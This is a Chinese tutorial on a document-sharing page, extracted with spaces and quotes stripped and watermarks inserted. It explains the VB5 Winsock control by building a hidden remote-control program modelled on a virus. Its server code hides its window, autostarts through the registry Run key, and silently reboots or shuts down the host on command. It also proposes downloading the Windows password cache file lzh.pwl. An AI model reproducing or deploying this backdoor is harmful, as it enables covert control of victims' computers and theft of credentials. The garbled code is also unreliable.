VB中Winsock控件的使用[完全免费]_第1页
VB中Winsock控件的使用[完全免费]_第2页
VB中Winsock控件的使用[完全免费]_第3页
VB中Winsock控件的使用[完全免费]_第4页
VB中Winsock控件的使用[完全免费]_第5页
已阅读5页,还剩1页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、有道工控wvs.02:0pl-c.aomVB中Winsock控件的使用前一段时间,一个名叫YAI的病毒在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCPIP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回YAI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”再将“MicrosoftWinsockControl5.0”选中确定后,就可以将Win

2、sock控件添加到工具箱中了。远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端-也就是被控制的一方,另一部分是客户端-控制方。服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHost和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。下面是Winsock控件的相关属性,方法和事件。(

3、略去一些暂用不到的)*属性LocalHostName|本地机器名LocalIP|本地机器IP地址LocalPort|本地机器通信程序的端口(0端口65536)RemoteHost|远程机器名RemotePort|远程机器的通信程序端口state|连接的当前状态(文后有详细说明)Protocal丨使用TCP或UDP协议(这里我们选O-sckTCPProtocal)*方法ListenListen方法用于服务器程序,等待客户访问。格式:Winsock对象.listenConnectConnect方法用于向远程主机发出连接请求格式:Winsock对象.connect远程主机IP远程端口AcceptAc

4、cept方法用于接受一个连接请求格式:Winsock对象.acceptRequestIDSenddata此方法用于发送数据格式:Winsock对象.senddata数据Getdata用来取得接收到的数据格式:Winsock对象getdata变量,数据类型,最大长度Close关闭当前连接格式:Winsock对象.close*事件Close|远程机器关闭连接时触发Connect|连接建立好,可以进行通信时触发(客户端)ConnectRequest|有请求连接到达时产生(服务器端)DataArrival|有数据到达时触发Error|发生错误时发生SendProgress|数据传送进度程序代码如下:-

5、服务器端程序(server.exe)先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun”中增加键值winserver=c:windowsserver.exe或配置文件Win.ini的Load,run写入C:windowsserver.exe来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方

6、便了,不过由于实现过程较复杂,就不在这里说了.PrivateSubForm_Load()OnErrorGoToskip注释:如此端口已有通信程序则退出Winsock1.LocalPort=1334注释:端口值应大于1024,如还有冲突可改为其他值Winsock1.ListenExitSubskip:IfErr.Number=10048ThenMsgBox端口冲突,退出!,vbOKOnly,注意!EndEndIfEndSubPrivateSubWinsock1_Close()IfWinsock1.StatesckClosedThenWinsock1.CloseWinsock1.Listen注释:

7、关闭连接后继续监听EndSub有道工控wvs.02:0pl-c.aom&TJD有道工控wvs.02:0pl-c.aomPrivateSubWinsock1_ConnectionRequest(ByValrequestIDAsLong)IfWinsock1.StatesckClosedThenWinsock1.CloseWinsock1.AcceptrequestID注释:请求到达时,接受连接EndSubPrivateSubWinsock1_DataArrival(ByValbytesTotalAsLong)DimstrgetAsStringDimccomAsStringWinsock1.Get

8、Datastrget注释:读取到达的数据SelectCasestrgetCasea注释:判断到达的数据是否a是则重启,你也可自己定义(协议就是这样产生的)ccom=curr_win()+RUNDLL.EXEuser.exe,exitwindowsexec注释:不同机器设置不一样CallShell(ccom,vbHide)注释:由函数curr_win()来判断Caseb注释:如为b贝咲闭计算机ccom=curr_win()+RUNDLL.EXEuser.exe,exitwindowsCallShell(ccom,vbHide)注释:函数shell来执行命令CaseElse注释:可以在此加入其他命

9、令EndSelectEndSubFunctioncurr_win()AsStringDimiAsIntegerDimenstrAsStringi=1注释:此函数通过读取环境变量来获得Windows目录enstr=Environ(i)DoWhileenstrIfLen(enstr)11ThenIfLeft(enstr,11)=winbootdir=Thencurr_win=Right(enstr,Len(enstr)-11)ExitDoEndIfEndIfi=i+1enstr=Environ(i)LoopEndFunctionPrivateSubWinsock1_Error(ByValNumbe

10、rAsInteger,DescriptionAsString,ByValScodeAsLong,ByValSourceAsString,ByValHelpFileAsString,ByValHelpContextAsLong,CancelDisplayAsBoolean)MsgBox错误,vbOKOnly,注意!注释:如程序出现错误,则简单的退出&TJD有道工控wvs.02:0pl-c.aom有道工控wvs.02:0pl-c.aomEndEndSub-客户端程序(Client.exe)程序界面如图control.jpg防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:控件名

11、|控件类|属性|属性值closewin_but|commandbutton|caption|远程关闭startwin_but|commandbutton|caption|远程重启connect_but|commandbutton|caption|连接exit_but|commandbutton|caption|退出state_lab|label|borderstyle|1代码如下:PrivateSubForm_Load()Winsock1.LocalPort=22226注释:本地端口可任选,只要不冲突且小于65535,用注释:netstat-an命令可查看当前通信进程Winsockl.Remo

12、teHost=127.0.0.1注释:调试时此IP将对本机操作,实际应用时可注释:换上被控方IPWinsock1.RemotePort=1334注释:对应服务器端的localportstate_lab=未建立连接.EndSubPrivateSubclosewin_but_Click()IfWinsock1.StatesckConnectedThenstate_lab=请先建立连接ElseWinsock1.SendDatab注释:发出关闭命令EndIfEndSubPrivateSubstartwin_but_Click()IfWinsock1.StatesckConnectedThenstate

13、_lab=请先建立连接ElseWinsock1.SendDataa注释:发出重启命令EndIfEndSubPrivateSubconnect_but_Click()OnErrorGoToskipIfWinsock1.State=sckConnectedThenstate_lab=已建立连接了ElseWinsock1.ConnectEndIfExitSubskip:注释:用netstat命令看到状态为Time_wait则IfErr.Number=10048Then注释:须等待一段时间才可连接,也可换另一注释:端口,可加快连接速度MsgBox端口正在使用,请稍后再试!,vbOKOnly,注意!En

14、dEndIfEndSubPrivateSubexit_but_Click()Winsock1.Close注释:关闭连接且退出EndEndSubPrivateSubWinsock1_Connect()state_lab=建立连接成功!可发送命令.EndSubPrivateSubWinsock1_Error(ByValNumberAsInteger,DescriptionAsString,ByValScodeAsLong,ByValSourceAsString,ByValHelpFileAsString,ByValHelpContextAsLong,CancelDisplayAsBoolean)MsgBox错误,vbOKOnly,注意!EndEndSub通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。如文件的下载,可先让客户程序发一命令字串注释:cc:windowslzh.pwl注释:,服务器接收到命令字串后判断出首字母c为下载命令,则将所指定的命令文件注释:c:windowslzh.pwl注释:传送给客户端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如要建立多个连接可通过在服务器端产生多个Winsock实例来接受请求.*测试环境:Window98,Mic

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论